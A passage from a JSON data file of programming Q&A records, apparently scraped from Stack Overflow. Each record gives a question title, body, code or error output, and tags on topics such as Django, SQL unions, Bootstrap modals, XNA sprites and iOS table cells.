n----------------------------------------\nException happened during processing of
request from ('127.0.0.1', 38314)\n----------------------------------------\n",
"python django static"], "637174": ["How to give same hostname to multiple devices
in network?", "How to give same DNS to multiple devices in network?\nI am
developing a zero configuration network. I am using avahi for that. I have used two
application of avahi : avahi-autoipd and avahi-daemon. These both the applications
are running smoothly. \nI can give different IP addresses to all the devices using
avahi-autoipd. I can give host name to all the device using avahi-daemon.\nNow the
avahi-daemon gives the hostnames like power.local,power-2.local,power-3.local and
so on to the devices.\nNow my question is how can I give the same power.local to
all the device? Is it possible? Is it possible using avahi? Should I use any other
libraries for this feature?\nThanks in advance.\n", "", "c linux avahi"],
"1638746": ["Twitter Bootstrap Modal Loads & Disappears Quickly", "I'm not sure
what I'm doing wrong here but I want to load a login form into a modal window.
Once I added the hide to the class of my modal window it disappears and when I
click my button nothing happens. I added the fade class into my modal window and
the window appears for a few seconds then disappears. I'm not sure what I am doing
wrong but here is the code I am using. Any help is always greatly appreciated.\n\
n", "<!DOCTYPE HTML>\n<html>\n<head>\n<meta charset=\"utf-8\">\n<title>Untitled
Document</title>\n\n<link href=\"css/bootstrap-responsive.css\"
rel=\"stylesheet\">\n<link href=\"css/bootstrap.css\" rel=\"stylesheet\">\n<link
href=\"css/custom.css\" rel=\"stylesheet\">\n\n</head>\n\n<body>\n<a
href=\"#myModal\" data-toggle=\"modal\">Login</a>\n\n<div class=\"modal hide fade\"
id=\"myModal\" aria-hidden=\"true\">\n<div class=\"modal-header\">\n <h3>The
Sports Freak Login</h3>\n</div>\n<div class=\"modal-body\">\n <form>\n
<label>Email</label>\n <input type=\"email\" class=\"span4\">\n
<br>\n <label>Password</label>\n <input type=\"text\"
class=\"span4\">\n <br><br>\n\n <button type=\"submit\"
class=\"btn btn-success\">Logn</button>\n <button type=\"reset\"
class=\"btn\">Clear</button>\n </form>\n</div>\n<div class=\"modal-
footer\">\n <button class=\"btn\" data-dismiss=\"modal\" aria-
hidden=\"true\">Close</button>\n</div>\n</div>\n<script
src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\"></script>\
n<script src=\"js/bootstrap.js\"></script>\n\n</body>\n</html>\n", "twitter-
bootstrap modal"], "4843977": ["AutoHotKey: Send a button when another is held
down, and after released", "in AutoHotKey\nI want to write a script that will press
a button once when the right mouse button is held\nand press another once its
released.\nI tried writing something (I used numpad0 instead of mousebutton)\n\
nbut, it keeps sending du all the time, instead of just d and a final u.\nwhy is
that?\n", "Numpad0::\nSend {d}\n\nNumpad0 Up::\nSend {u}\n", "script mouse
autohotkey"], "4373497": ["how can the color of the lablefield be changed?", "I am
trying to set background color of the label and when I override the paint menthod
of the LabelField Class it sets the background color where text gets displayed it
leaves the rest of the column.\nhow can we change the background color of the lable
where even text is not there.\nthe text is coming from database and we have fixed
column width.\nThanks in advance.\n", "", "blackberry"], "2960419": ["How can I get
my unioned query results to group correctly?", "I have this code:\n\nIt retrieves
all the tenants from a certain property who are delinquent in their rent and other
payments and also the money amounts they owe.\nMy problem is that one of the
properties was recently sold so now I need to retrieve their old balance from the
previous property and add that to their balance from the new property. I
essentially have this working correctly, but the two amounts ( 1 from old property
and 1 from new property) show up in my results as two separate rows. First balance
amount is retrieved from first query, and the second from the query after the UNION
ALL.\nHow can I make these two rows for each tenant combine balance amounts so I
have one result row for each tenant?\nThanks in advance! :) Let me know if I can
provide any more details\n", "SELECT tenant.scode\n,tenant.sunitcode\
n,rtrim(tenant.sLastName) + ', ' + (tenant.sFirstName)\n,charge.total\
n,tenant.istatus\n,tenant.dtmovein\n\nFROM tenant\nLEFT OUTER JOIN (\nSELECT
sum(CASE \n WHEN trans.itype = 6\n THEN stotalamount * -
1\n ELSE CASE \n WHEN trans.itype = 3\n
THEN stotalamount * - 1\n ELSE stotalamount\n
END\n END) total\n ,hperson\nFROM trans\n where trans.itype in
(6,7)\nGROUP BY hperson\n) charge ON tenant.hmyperson = charge.hperson\nWHERE
charge.total IS NOT NULL\nAND charge.total <> 0\nAND tenant.istatus IN (\n 0\n
,3\n ,4\n )\nand hproperty = 2396\n\nUNION ALL\n\nSELECT tenant.scode\
n ,tenant.sunitcode\n,rtrim(tenant.sLastName) + ', ' + (tenant.sFirstName)\
n,charge.total\n ,tenant.istatus\n,tenant.dtmovein\n\nFROM tenant\nLEFT OUTER
JOIN tenant t2 on (tenant.sleasefield36 = t2.scode)\nLEFT OUTER JOIN (\nSELECT
sum(CASE \n WHEN trans.itype = 6\n THEN stotalamount * -
1\n ELSE CASE \n WHEN trans.itype = 3\n
THEN stotalamount
* - 1\n ELSE stotalamount\n END\n
END) total\n ,hperson\nFROM trans\n where itype in (6,7)\nGROUP BY hperson\n)
charge ON t2.hmyperson = charge.hperson\nWHERE charge.total IS NOT NULL\nAND
charge.total <> 0\nAND tenant.istatus IN (\n 0\n ,3\n ,4\n )\nand
tenant.hproperty = 2396\n\nORDER BY total\n", "sql group-by union"], "110006":
["System.Data.Sqlite.dll 32 bt vs 64 bit c#", "I have a WCF service library built
using c# and system.data.sqlite.dll x64. The build configuration is Any CPU. It
works fine. But when I change the system.data.sqlite.dll to a x86 bit version, for
Any CPU configuration it builds successfully but when I run wcf methords it gives
error, for x86 build configuration it build successfully but give following error
when I debug it using wcftestclient. \n\nAn anyone help me to solve this problem?\
n", "System.BadImageFormatException: Could not load file or assembly 'file:///C:\\
Users\\Lasitha\\Desktop\\New folder\\New folder\\CoreServiceWCF\\CoreServiceWCF\\
CoreServiceWCF2\\bin\\x86\\Debug\\VplusCoreServiceWCF.dll' or one of its
dependencies. An attempt was made to load a program with an incorrect format.\nFile
name: 'file:///C:\\Users\\Lasitha\\Desktop\\New folder\\New folder\\
CoreServiceWCF\\CoreServiceWCF\\CoreServiceWCF2\\bin\\x86\\Debug\\
VplusCoreServiceWCF.dll'\n at
System.Reflection.RuntimeAssembly._nLoad(AssemblyName fileName, String codeBase,
Evidence assemblySecurity, RuntimeAssembly locationHint, StackCrawlMark& stackMark,
Boolean throwOnFileNotFound, Boolean forIntrospection, Boolean
suppressSecurityChecks)\n at
System.Reflection.RuntimeAssembly.InternalLoadAssemblyName(AssemblyName
assemblyRef, Evidence assemblySecurity, StackCrawlMark& stackMark, Boolean
forIntrospection, Boolean suppressSecurityChecks)\n at
System.Reflection.Assembly.Load(AssemblyName assemblyRef)\n at
Microsoft.Tools.SvcHost.ServiceHostHelper.LoadServiceAssembly(String
svcAssemblyPath)\n\n=== Pre-bind state information ===\nLOG: User = Lasitha-PC\\
Lasitha\nLOG: Where-ref bind. Location = C:\\Users\\Lasitha\\Desktop\\New folder\\
New folder\\CoreServiceWCF\\CoreServiceWCF\\CoreServiceWCF2\\bin\\x86\\Debug\\
VplusCoreServiceWCF.dll\nLOG: Appbase = file:///C:/Users/Lasitha/Desktop/New
folder/New folder/CoreServiceWCF/CoreServiceWCF/CoreServiceWCF2/bin/x86/Debug\nLOG:
Initial PrivatePath = NULL\nCalling assembly : (Unknown).\n===\nLOG: This bind
starts in LoadFrom load context.\nWRN: Native image will not be probed in LoadFrom
context. Native image will only be probed in default load context, like with
Assembly.Load().\nLOG: Using application configuration file: C:\\Users\\Lasitha\\
Desktop\\New folder\\New folder\\CoreServiceWCF\\CoreServiceWCF\\CoreServiceWCF2\\
bin\\x86\\Debug\\VplusCoreServiceWCF.dll.config\nLOG: Using host configuration
file: \nLOG: Using machine configuration file from C:\\Windows\\Microsoft.NET\\
Framework64\\v4.0.30319\\config\\machine.config.\nLOG: Attempting download of new
URL file:///C:/Users/Lasitha/Desktop/New folder/New
folder/CoreServiceWCF/CoreServiceWCF/CoreServiceWCF2/bin/x86/Debug/
VplusCoreServiceWCF.dll.\nERR: Failed to complete setup of assembly (hr =
0x8007000b). Probing terminated.\n", "c# sqlite x86 windows-7-x64"], "4854635":
["ConsumerManager.verify() fails with \"No service element found to match the
ClaimedID / OP-endpoint in the assertion.\"", "i am trying to implement openid
authentication in a JSF2 application and everything seems to be working fine until
the moment where the application needs to verify the openid-server's response (in
my case stackexchange).\ni have already checked out the openid4java source to debug
and track the problem down but i cannot seem to find the reason why it fails. the
code is based on the example code from the openid4java website.\nfirst i am
crafting a request like this:\n\ni am being redirected to
https://openid.stackexchange.com/, i use my email & pw to log in and stackexchange
redirects me back to RETURN_URL where the following servlet is waiting:\n\nhere is
what i get in the server.log (RETURN_URL replaced with mydomain.org):\n\ni have
verified that\n\ngetManager() on the sending and the receiving part is the same
object\nthe sessionId on both parts is identical\n\ni have been fighting with this
problem for 2 days now and i seem to be stuck. i would be very thankful for any
pointers.\nEDIT:\ni just tested the same code with an openid account at
myopenid.com and there it works. i am really confused about what the problem is now
:|\n", " if (getManager() == null) {\n setManager(new
ConsumerManager());\n }\n try {\n // perform discovery on the user-
supplied identifier\n List discoveries =
getManager().discover(getOpenIdIdentifier());\n\n // attempt to associate
with the OpenID provider\n // and retrieve one service endpoint for
authentication\n DiscoveryInformation discovered =
getManager().associate(discoveries);\n\n // store the discovery information
in the user's session for later use\n // leave out for stateless operation /
if there is no session\n ((HttpSession)
FacesContext.getCurrentInstance().getExternalContext().getSession(false)).setAttrib
ute(\"discovered\", discovered);\n\n // obtain a AuthRequest message to be
sent to the OpenID provider\n AuthRequest authReq =
getManager().authenticate(discovered, RETURN_URL);\n FetchRequest fetch =
FetchRequest.createFetchRequest();\n
fetch.addAttribute(\"email\", \"http://schema.openid.net/contact/email\", true);\n
// attach the extension to the authentication request\n
authReq.addExtension(fetch);\n\n
FacesContext.getCurrentInstance().getExternalContext().redirect(authReq.getDestinat
ionUrl(true));\n } catch (Exception ex) {\n ex.printStackTrace();\n }\
n", "jsf openid stackexchange openid4java"], "5982739": ["Captured variable
instantiating problem", "I'm currently musing about some idea I can't get right.\
nThe problem is that I want to use one lambda function to instantiate a captured
variable and another lambda to access a property of that variable.\nSince the
instantiating happens within the lambda the variable isn't actually instantiated
the time I want to use it within the second lambda.. this is kind of a chicken and
egg problem. \nI know that the variable will be instantiated the time it's used in
the second lambda but the compiler doesn't.\nIs there any way my idea could work?
Here's the actual code:\n\n", "class Program\n{\n static void Main(string[]
args)\n {\n SqlCommand cmd;\n\n using (new DisposableComposite(\n
() => cmd = new SqlCommand(),\n () => cmd.Connection)) // <- compiler
error - variable not instantiated\n {\n // code\n }\
n }\n}\n\nclass DisposableComposite : IDisposable\n{\n private
List<IDisposable> _disposables = new List<IDisposable>();\n\n public
DisposableComposite(params Func<IDisposable>[] disposableFuncs)\n {\n //
ensure the code is actually executed\n foreach (var func in
disposableFuncs)\n {\n IDisposable obj = func.Invoke();\n
_disposables.Add(obj);\n }\n }\n\n public void Dispose()\n {\n
foreach (var disposable in _disposables)\n {\n
disposable.Dispose();\n }\n }\n}\n", "c# lambda captured-variable"],
"1723215": ["Accessing database from a Windows Service", "I have this ASP.NET app,
in which I use Entity Framework to connect to the DB. Inside this app I have a
class which provides different operations on the DB (add, remove etc). Everything
works dandy. Now I needed to create a Windows Service which once a week updates the
DB with info gathered from a repository. I thought that I could add my ASP.NET dll
as a reference to my windows service, so that I could use the operations I defined
there. But I get the following error:\nThe specified named connection is either not
found in the configuration, not intended to be used with the EntityClient provider,
or not valid\nI read in some other thread that I should copy the connect string to
the app.config, but I don't have any app.config file in my windows service project.
How can I use the EDM operations I defined in the class in both the ASP app and the
windows service?\n", "", "c# asp.net entity-framework-4 windows-services
connection-string"], "4942302": ["wild card subdomain apache+tomcat", "I have my
struts project hosted on apache and tomcat server.I need a wildcard subdomain on my
server.\nI write the following code on Apaches virtualhost .conf file\n\nI cahnged
my tomcat server.xml docbase to /var/www/htdocs/projects\nBut my subdomains are not
working.when i take 123.asd.mydomain.com , it loads tomcats home page.\nAnybody
knows what is the issue,If i did anything more?want to write anything on .htaccess\
nThanks,\nShihab.\n", "<VirtualHost *:80>\n ServerAdmin webmaster@dummy-
host2.example.com\n DocumentRoot \"/var/www/htdocs/projects/myprj\"\n
ServerAlias *.asd.mydomain.com\n ServerName asd.mydomain.com\n DirectoryIndex
index.jsp\n", "java apache tomcat struts"], "2757330": ["How to add/use Action
Script 3 framework in Android project", "I'm working on certain android project. I
have found some framework that I need, but it is as3 framework. How can I use it in
my project.\n", "", "android actionscript-3"], "5612790": ["How do you catch a
MySQLIntegrityConstraintViolationException correctly?", "I am working on a web
application, and at a point where I submit forms that are unique to the user, a
MySQLIntegrityConstraintViolationException Duplicate entry -'username' \nfor key
'PRIMARY'\nI am well aware of why this is being thrown, because I am attempting to
enter a duplicate entry into the database with the same primary key.
I would appreciate no comments on this, as it might be a redundant. \nWhat I am
really asking is how should I handle this. I have attempted to catch this
exception, but apparently my lack of experience has caught up to me. \nI would
appreciate your help with it.\nIs there a better method for checking for duplicate
entries in a database?\nFor example, should I do what I do when checking for
duplicate members, and just do a check to the database for a matching username and
password?\nThanks\n", "", "java mysql exception-handling"], "2332744": ["How do I
copy the boot sector from one computer to another?", "I have a pair of identical
computers. One of them stopped booting the other day (it gets past the BIOS screen
then goes black). Booting from a USB recovery stick I've verified that the
partition is still there and I'm able to recover data from the corrupted disk.\
nWhen I try and restore the Master File Table using TestDisk it says that the MFT
and backup is corrupt.\nSo...\n\nAre there any other tools I should run to help
diagnosis?\nIf this is a corrupt MFT stopping it from booting, is there a way I can
back it up from the workig machine and use that backup to restore the broken
machine?\n\n", "", "recovery disk mft corruption bootsector"], "5052384": ["After
changing disk to dynamic Windows 7 doesn't boot", "I shrunk a partition in hard
disk. And there was a unallocated space. Then I made a partition from that
unallocated space. After doing this whole disk was converted to dynamic type.\
nAfter doing this, I restarted the computer. But Windows 7 doesn't boot. After
coming BIOS, there is a blinking cursor. What should I do?\n", "", "windows-7
windows boot partitioning dynamic-disk"], "700675": ["Keyword investigation", "I
have a question please , i'm currently investigating some keywords for my job , in
the excel sheet i have the following column that will help me decide which keyword
is the best for me , columns are\n1)competition( basically the results in google
for the specific keyword) , \n2)KEI. these columns could all be computed easily
using google and adwords keyword tools !\n3)number of searches \nI added these
additional columns which requires me to look at the top 10 results in google search
within the given keyword : \nColumn 1) how many results from the top 10 results are
relevant to the keyword\nColumn 2) how many results from the top 10 results are
specific about the keyword\nColumn 3) how competetive the keyword is , this could
be known by looking at the adwords ads on google results page through given keyword
!\nMy question is , i'm required to find other good measures , does anybody have
any suggestions of a good measurement ?\n", "", "seo sem"], "2732145": ["Is there a
way to get this C# code to automatically overwrite files?", "Is there a way to get
this code to automatically overwrite files?\n\nThis is from MSDN\nThanks\n", "//
Requires project reference to Microsoft.VisualBasic\nusing
Microsoft.VisualBasic.FileIO;\nclass FileProgress\n{\n static void Main()\n {\n
string sourcePath = @\"C:\\Users\\public\\documents\\\";\n string
destinationPath = @\"C:\\testFolder\";\n FileSystem.CopyDirectory(sourcePath,
destinationPath,\n UIOption.AllDialogs);\n }\n}\n", "c# file-io
directory copy"], "4975491": ["What's new in Windows 8 for desktop apps?", "I see
all kinds of demonstrations about Build of the new features in Windows 8 for Metro
apps, but not much for Desktop applications. Is there anything new for desktop-
style apps; or has nothing changed?\n", "", "windows windows-8 winrt"], "5276366":
["Linking Qt Libraries to a Cmake project (in eclipse)", "so what I'm trying to do
is utilize a simple Qt application IN eclipse without using the eclipse QT plugin
by linking the required libraries through the GCC C++ Linker. However, I have been
unable to locate the exact name of the library to use, or which libraries will be
necessary. I've located the path of the Qt library my application seems to be
accessing, but I continue to get an error when building that just says \"-lqt\"
doesn't exist/can't find, etc.\nThe reason I'm doing this is because I'm building a
simple game in OGRE for a project at the uni and wanted to use a Qt application for
the GUI. Well, I didn't necessarily want too, but our professor wishes us to do so.
Please don't suggest that I simply embed an Ogre widgit into my Qt application as
this isn't an opti\nAny ideas?\nThanks <3\n", "", "eclipse qt libraries"],
"2464439": ["Need some help implementing collisions in my game, with two separate
classes", "What I'm trying to do is to draw rectangles behind the background and
make essentially collision detection. What I'm not sure however is how exactly I
can implement that. I thought about making it so that as the sprite approached
these rectangles, their speed would get slower and slower till they stop but would
that work? Sorry if I sound a bit wet behind the ears, I'm fairly new to C# and am
trying to self teach. Any help would be appreciated. \nSo I have a CharacterSprite
class (walkingsprite) all the stuff about the frames is just a walking animation
sequence I implemented. \n\nAnd I have an obstruction class.\n\n", "namespace
walkingsprite\n{\nclass AnimatedSprite\n{\n //keyboard\n KeyboardState
currentKBState;\n KeyboardState previousKBState;\n\n Texture2D
spriteTexture;\n\n float timer = 0f;\n float interval = 200f;\n int
currentFrame = 0;\n int spriteWidth = 32;\n int spriteHeight = 48;\n int
spriteSpeed = 2;\n\n Rectangle sourceRect;\n\n Texture2D obst;\n Rectangle
obst1;\n\n Obstruction obstruction1;\n\n\n Vector2 position;\n Vector2
origin;\n\n\n public Vector2 Position\n {\n get { return position; }\n
set { position = value; }\n }\n\n public Vector2 Origin\n {\n get {
return origin; }\n set { origin = value; }\n }\n\n public Texture2D
Texture\n {\n get { return spriteTexture; }\n set { spriteTexture
= value; }\n }\n\n public Rectangle SourceRect\n {\n get { return
sourceRect; }\n set { sourceRect = value; }\n }\n\n public int
SpriteSpeed\n {\n get { return spriteSpeed; }\n set { spriteSpeed
= value; }\n }\n\n public AnimatedSprite(Texture2D texture, int currentFrame,
int spriteWidth, int spriteHeight)\n {\n this.spriteTexture = texture;\n
this.currentFrame = currentFrame;\n this.spriteWidth = spriteWidth;\n
this.spriteHeight = spriteHeight;\n }\n\n public void
HandleSpriteMovement(GameTime gameTime)\n {\n previousKBState =
currentKBState;\n currentKBState = Keyboard.GetState();\n\n
sourceRect = new Rectangle(currentFrame * spriteWidth, 0, spriteWidth,
spriteHeight);\n\n\n\
n ////////////////////////////////////////////////////////////////////\n
if (currentKBState.GetPressedKeys().Length == 0)\n {\n if
(currentFrame > 0 && currentFrame < 4)\n {\n currentFrame
= 0;\n }\n\n if (currentFrame > 4 && currentFrame < 8)\n
{\n currentFrame = 4;\n }\n\n if (currentFrame
> 8 && currentFrame < 12)\n {\n currentFrame = 8;\n
}\n\n if (currentFrame > 12 && currentFrame < 16)\n {\n
currentFrame = 12;\n }\n }\
n ////////////////////////////////////////////////////////////////////\n\n
//sprintin\n if (currentKBState.IsKeyDown(Keys.Space))\n {\n
spriteSpeed = 2;\n interval = 100;\n }\n else \n {\
n spriteSpeed = 1;\n interval = 200;\n }\
n ///////////////////////////////////////////////\n\n\n if
(currentKBState.IsKeyDown(Keys.Down) == true)\n {\n
AnimateDown(gameTime);\n if (position.Y < 575)\n {\n
position.Y += spriteSpeed;\n }\n }\n\
n ////////////////////////////////////////////////////\n\n if
(currentKBState.IsKeyDown(Keys.Up) == true)\n {\n
AnimateUp(gameTime);\n if (position.Y > 25)\n {\n
position.Y -= spriteSpeed;\n }\n }\
n //////////////////////////////////////////////////////////\n\n if
(currentKBState.IsKeyDown(Keys.Right) == true)\n {\n
AnimateRight(gameTime);\n if (position.X < 780)\n {\n
position.X += spriteSpeed;\n }\n }\
n ////////////////////////////////////////////////////////////////////\n
if (currentKBState.IsKeyDown(Keys.Left) == true)\n {\n
AnimateLeft(gameTime);\n if (position.X > 0)\n {\n
position.X -= spriteSpeed;\n\n }\n }\n origin = new
Vector2(sourceRect.Width / 2, sourceRect.Height / 2);\n\n }\
n ////////////////////////////////////////////////////////////////////\n\n\
n\n public void AnimateRight(GameTime gameTime)\n {\n if
(currentKBState != previousKBState)\n {\n currentFrame = 9;\n
}\n\n timer += (float)gameTime.ElapsedGameTime.TotalMilliseconds;\n\n
if(timer > interval)\n {\n currentFrame++;\n\n
if(currentFrame > 11)\n {\n currentFrame = 8;\n
}\n timer = 0f;\n }\n\n }\
n ////////////////////////////////////////////////////////////////////\n\n
public void AnimateUp(GameTime gameTime)\n {\n if (currentKBState !=
previousKBState)\n {\n currentFrame = 13;\n }\n
timer += (float)gameTime.ElapsedGameTime.TotalMilliseconds;\n\n
if (timer > interval)\n {\n currentFrame++;\n\n
if (currentFrame > 15)\n {\n currentFrame = 12;\n
}\n timer = 0f;\n }\n }\
n //////////////////////////////////////////\n\n public void
AnimateDown(GameTime gameTime)\n {\n if (currentKBState !=
previousKBState)\n {\n currentFrame = 1;\n }\n
timer += (float)gameTime.ElapsedGameTime.TotalMilliseconds;\n\n if (timer >
interval)\n {\n currentFrame++;\n\n if (currentFrame >
3)\n {\n currentFrame = 0;\n }\n
timer = 0f;\n }\n }\n\
n ////////////////////////////////////////////////////\n\n public void
AnimateLeft(GameTime gameTime)\n {\n if (currentKBState !=
previousKBState)\n {\n currentFrame = 5;\n }\n
timer += (float)gameTime.ElapsedGameTime.TotalMilliseconds;\n\n if (timer >
interval)\n {\n currentFrame++;\n\n if (currentFrame >
7)\n {\n currentFrame = 4;\n }\n
timer = 0f;\n }\n }\n }\n }\n", "c# xna"], "5156346": ["Is there a way
to download and activate a predefined-configuration for IIS 7.5 that is less
restrictive?", "All I want is to set up a server that works. I'm not interested in
security now.\nAs I asked here, I can't even make IIS 7.5 to handle URLs that
contain the word 'handler'. I suspect that it's due to the security improviments of
IIS 7.5, that, by default, comes activated.\nI'm studing it but so far I got no
result.\nCan I download and activate a a predefined configuration for IIS that is
less restrictive?\n", "", "iis iis7 iis7.5"], "4948086": ["System z primer?", "I've
worked a lot with more mid-range systems from IBM iSeries and pSeries. I'm having
problems finding decent non-market-speak information on IBM System z/Mainframe.
Yeah, I \"get it\" about consolidation and energy consumption and all that, but
want to know some more on the internals.\nCan anyone suggest a primer book
(online?) that goes through the basics of the architecture, the basics of host and
workflow management, maybe even how to execute Java (or Websphere?) direct?\n", "",
"java books mainframe"], "4068287": ["jQuery Radio Button function not working
properly", "I have a form with two radio buttons and a submit button which leads to
a specific form based upon the user's selection. \nI wanted to use jQuery to change
between the two buttons but have gotten myself a bit lost. \nHere is my javascript
from another file in the proj: \n\nInside the jsp I have the following code: \n\n\n
\n Submit\n \n \n\nI have gotten some functionality out of my jQuery but
it's definitely far from correct..\nI hope I was clear and thorough in my question.
Thanks in advance!!\n", "function goTo()\n{\n\nvar yesButton = $('#yesRad');\nvar
noButton = $('#noRad');\n\nif (yesButton[0].checked) \n{\nsubmitForm('yesForm') &&
noButton.Checked==false;\n\n\n}\nelse (noButton[1].checked)\n{\
nsubmitForm('noForm') && yesButton.Checked==false;\n}\n", "javascript jquery jsp
radio-button"], "4482465": ["Listener on Javascript/Jquery", "I have a web service
where I fetched my data and populate it in my client. As of now, I have a button
that will fetch data from the web service when clicked using ajax get. On my web
service, I have a maintenance where I will be able to add, edit or delete data.
What I want to do is to have my client automatically fetched data from my web
service everytime I add, edit, or delete data, so it will show accurate data to the
client.\nHere's what I'm thinking. On my web service, i will have a json that will
tell true/false whether the data has been updated (will be fetched by the client).
So every add, edit, delete will turn that to true, and every time the client
fetched that data, it will become false. \nNow, I need to have a javascript/jquery
listener that will listen to any change in that json (the true or false). I need
to have that listener run every second? Is it possible?\nThanks.\nEDITED:\nI've
been rereading my post, and it hits me, I'm just thinking with only one client in
my mind. Every add,edit,delete in my web service will turn the \"updated\" to
true, and everytime I get a request for the data, I'll set it to false. But how
about the other clients? When they sent a request, it's already false, so they will
not update it. Any ideas? Thanks\n", "", "javascript jquery ajax jquery-ajax
listener"], "6008374": ["loading images in table using blocks - dispatch_async
return value", "I have looked around on SO and the web and have not found a
specific answer.\nQuite simply, I have a table loading images info from Flickr. I
want to display a thumbnail of the image on the left side of each cell.\nIn order
to do this without blocking the main (UI) thread, I am using blocks:\n\nNow this is
not going to work. Because returning the cell will likely happens before executing
the block. But at the same time, I cannot return the cell within the main queue
block because the block does not accept a return argument.\nI want to avoid
creating a UITableViewCell subclass.\nAny simple answer using blocks?\nThanks\nKMB\
n", "- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:
(NSIndexPath *)indexPath\n{\n static NSString *CellIdentifier = @\"top50places\";\
n UITableViewCell *cell = [tableView
dequeueReusableCellWithIdentifier:CellIdentifier];\n\n //getting the selected row
image \n NSDictionary* currentImageDictionary=[self.topfifty
objectAtIndex:indexPath.row];//topFifty is an array of image dictionaries\n\n\
n //creating the download queue \n dispatch_queue_t
downloadQueue=dispatch_queue_create(\"thumbnailImage\", NULL);\n\n
dispatch_async(downloadQueue, ^{\n\n UIImage *downloadedThumbImage=[self
getImage:currentImageDictionary] ;\n\n //Need to go back to the main thread
since this is UI related\n dispatch_async(dispatch_get_main_queue(), ^{\n\n
cell.imageView.image = downloadedThumbImage ;\n\n });\n\n });\n\n
dispatch_release(downloadQueue);\n\n return cell;\n\n}\n", "ios uitableview
uitableviewcell objective-c-blocks"], "3962124": ["In agile (scrum), how do you go
about breaking down a user story?", "In agile (scrum), how should one ideally break
down things into a user story.\nThe team size is about 6 developers if that makes a
difference, and iterations are 3 weeks.\nIs breaking a user story with points and
hours considered agile, or is it ONLY user points for a given user story?\nShould
we break a user story into tasks also?\nIn the actual workflow for a user story,
you have things like:\n\nrequirement gathering\nreview of the user story by
managers etc.\nqa related tasks in the user workflow \n\nHow are these things
handled in a agile environment?\n", "", "agile"], "2431011": ["How to have a UIKit
button open another view?", "I have a grid of buttons in one page. I want the
buttons to lead to another view when clicked. What should I add to the following
action to change the view?\n\nThe grid of buttons is created with:\n\n", "-
(void)buttonPressed:(UIButton *)button {\n NSLog(@\"button %u -- frame: %@\",
button.tag, NSStringFromCGRect(button.frame));\n}\n", "objective-c ios xcode"],
"5884558": ["Dealing with HTML whitespace", "I wondered if there is any technique
that can be used to remove whitespace displaying in the browser without sacrificing
readability of HTML.\nFor example, putting HTML on different lines (easier to read
when working with it) creates unwanted whitespace between the divs/spans/li's -
very frustrating. The only way I can see around this is to push all the HTML onto
one line, which makes reading/editing and maintaining a nightmare.\nFor example see
these fiddles. \nFiddle 1 has readable HTML, but the images are pushed onto a
second line due to unwanted whitespace.\nFiddle 2 has HTML all on one line,
frustrating to read, but the output is correct.\nI'm wondering if there is anyway
to get around this or is it just something I have to deal with?\nTo me, the
following code is just not easy to work with. \n\n", "<div class=\"prodGrid\">\n
<div class=\"prod\"><img
src=\"http://www.sciencebuzz.org/sites/default/files/images/cat_0_0.jpg\"
alt=\"text\" /></div><div class=\"prod\"><img
src=\"http://www.sciencebuzz.org/sites/default/files/images/cat_0_0.jpg\"
alt=\"text\" /></div><div class=\"prod\"><img
src=\"http://www.sciencebuzz.org/sites/default/files/images/cat_0_0.jpg\"
alt=\"text\" /></div></div>\n", "html css whitespace removing-whitespace"],
"5048113": ["How to find which HD controller module a running Linux system is
using?", "I have a problem with an HP ProLiant Microserver that won't boot with a
Slackware 12 system using Linux 2.6.21.5\nIf I boot a recent version of System
Rescue CD, the disk is recognized.\nSo my question is: how can I find which module
is the System Rescue CD kernel using to access the hard disk?\nEdit: \nWhen trying
to boot with Slackware, I get the dreadful message\n\nThe filesystem module () is
loaded, so it can only be a controller driver issue, as far as I know.\n", "Kernel
panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)", "linux hp
kernel proliant module"], "3433191": ["Silverlight opening relative URI - works
when debugging, fails when running outside VS", "My Silverlight project uses file,
which is located in \n\nEverything is working fine when I run it from Visual Studio
(Debug or Start without debugging). But now I'd like to start it outside VS, so I
ran - and loading file failed, with following error from MessageBox: \n\nError
when loading file dane.xml\nSystem.Net.WebException: An exception occurred during a
WebClient request.\n ---> System.NotSupportedException:
The URI prefix is not recognized.\n in System.Net.WebRequest.Create(Uri
requestUri)\n in System.Net.WebClient.GetWebRequest(Uri address)\n in
System.Net.WebClient.DownloadStringAsync(Uri address, Object userToken)\n (...)\
nURI=dane.xml\n\nWhat should I do to fix that?\nI've already tried setting in
Solution Explorer as Resource and creating , but it fails when running on Visual
Studio.\n", "dane.xml", "xml silverlight silverlight-3.0"], "882476": ["Disable
XHTML validation in Netbeans for dojo developing", "I am developing a dojo
application in Netbeans 7.1, however since dojo uses non standard HTML attributes,
I have XHTML validation errors in every line.\nWithin Netbeans there is the option
to completely ignore this errors for a specific line or for the whole document, bu
I would like to keep basic html validation on.\nIs it possible to have this errors
ignored without loosing html validation ?\n", "", "netbeans xhtml dojo"],
"3434454": ["jquery clean old dialog", "I am trying to use UI dialog to create a
modal dialog.\nThe dialog workscorrectly, and all is well. I close the dialog using
the \"X\" in the corner. \nI tried using , but then of course I can't open it
again.\nI think I just don't understand how to reinitialize the dialog and do not
have the old values in it.\n\n", "dialog('destroy').remove();", "jquery dialog"],
"4467482": ["Find Tables Without Clustered Index but with Primary Keys on a table",
"Is there an script to find Tables with no Clustered Indexes, but has Primary Keys
on it for Sql server 2008 r2? Please let me know.\n", "", "sql-server-2008 tsql"],
"5976379": ["WordPress Plugin: How do I avoid \"tight coupling\"?", "I am working
on a WordPress Plugin and am trying to ensure best practices. I have two classes,
my plugin class \"Jargonaut\" which is required and then another class
called \"Dictionary\" which is included with into my main plugin file. \nMost of
the code in the Jargonaut class addresses initialization and provides controller-
like functionality but much of it is highly dependent upon using the Dictionary
object (i.e. tightly coupled from my understanding of the term). I wish to keep the
Dictionary class separated as it is acting more like a model (in MVC architecture)
and interfaces with my database.\nI see a lot of gray area in the tight vs. loose
coupling and am having a hard time deciding how much is too much?\n",
"require_once()", "php wordpress oop"], "3953197": ["How do I pass arguments to
Thin in Rails 3.1+ to configure SSL?", "I'm working on enabling SSL on a Rails app
in a staging environment that uses the Thin gem. It seems like I'm only a few steps
away. I've set in .\nSince I haven't told Thin where the SSL certificate and key
are, rails puts . At least I think that's why it's doing that.\nI found that Thin
can accept arguments to determine the location of the SSL certificate and key
files, as in this answer. However, I can't figure out where to tell Rails to start
Thin with these arguments. How do I do this?\n", "config.force_ssl = true", "ruby-
